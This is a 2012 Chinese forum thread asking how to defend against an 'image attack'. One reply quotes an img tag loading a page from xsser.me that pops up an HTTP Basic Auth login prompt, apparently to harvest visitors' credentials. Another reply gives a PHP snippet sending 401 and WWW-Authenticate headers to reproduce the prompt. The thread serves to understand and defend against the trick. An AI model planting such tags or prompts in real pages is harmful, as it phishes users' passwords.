刚刚看了某网站，发现一个图片攻击问题，怎么防范

Question

本帖最后由 xuzuning 于 2012-12-13 08:53:11 编辑

Answer 1

<img src="http://xsser.me/authtest.php?id=23wUDp&amp;amp;info=www.oachina.net.jpg" alt="" class="image_border">csdn是把&号转义了？？？原来如此~~

Answer 2

我也试了，没问题，不知道img src里的漏洞怎么做到的

Answer 3

在本地见个文件1.php
<?php
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.1 401 Unauthorized');
?>去请求也会弹出输入对话框网上查了下 说是
响应头 WWW-Authenticate 加返回码是401 就能验证用户
早期的一种验证方式    早期     早.......网上查的  所以不见得是对的.......

Answer 4

chrome弹不出来吗
我本地能弹出来啊